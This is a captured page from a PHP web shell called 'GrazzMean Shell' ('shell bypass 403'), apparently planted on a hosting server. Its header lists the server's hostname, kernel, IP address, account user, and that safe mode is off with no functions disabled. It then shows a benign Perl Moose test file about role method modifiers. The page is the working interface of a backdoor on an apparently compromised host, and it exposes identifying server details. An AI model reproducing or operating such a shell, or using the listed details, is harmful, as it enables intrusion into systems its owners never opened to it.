shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Moose/t/roles/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 18.218.251.99
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : empty_method_modifiers_meta_bug.t
use strict;
use warnings;

use Test::More;

# test role and class
package SomeRole;
use Moose::Role;

requires 'foo';

package SomeClass;
use Moose;
has 'foo' => (is => 'rw');
with 'SomeRole';

package main;

#my $c = SomeClass->new;
#isa_ok( $c, 'SomeClass');

for my $modifier_type (qw[ before around after ]) {
    my $get_func = "get_${modifier_type}_method_modifiers";
    my @mms = eval{ SomeRole->meta->$get_func('foo') };
    is($@, '', "$get_func for no method mods does not die");
    is(scalar(@mms),0,'is an empty list');
}

done_testing;
© 2025 GrazzMean